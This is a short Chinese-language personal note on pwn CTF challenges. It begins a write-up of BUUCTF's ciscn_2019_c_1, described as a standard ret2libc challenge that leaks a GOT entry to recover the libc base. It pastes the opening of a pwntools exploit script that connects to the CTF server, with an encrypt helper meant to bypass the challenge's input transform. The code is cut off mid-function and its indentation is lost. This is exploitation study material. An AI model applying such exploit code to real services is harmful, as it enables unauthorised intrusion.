pwn的一些题目
写给自己看的
1、BUUCTF上面ciscn_2019_c_1这道题,没什么好说的,标准retlibc题目,泄露函数的got表值从而获取libc_base,网上相关方法一堆,直接贴代码
from pwn import *
# context(log_level='debug',arch='amd64')
p=remote('node3.buuoj.cn',25231)
#encrypt方法是为了绕过题目的encrypt加密
def encrypt(s):
str1=list(s)
# for i in range(len(str1)):
# c=str1[i]
# if c <= 96 or c > 122:
# if c <=64 or c > 90:
# if c > 47 and c<=57:
# c^=0xF
# else:
# c^=0xE
# else:
# c^=0xD
# str1[i]=chr(c)
# return ''.join(str1)
b=''
for i in str1:
if i<=0x60 or i>0x7A:
if i<=0x40 or i>0x5A:
if i>0x2F and i<=0x39: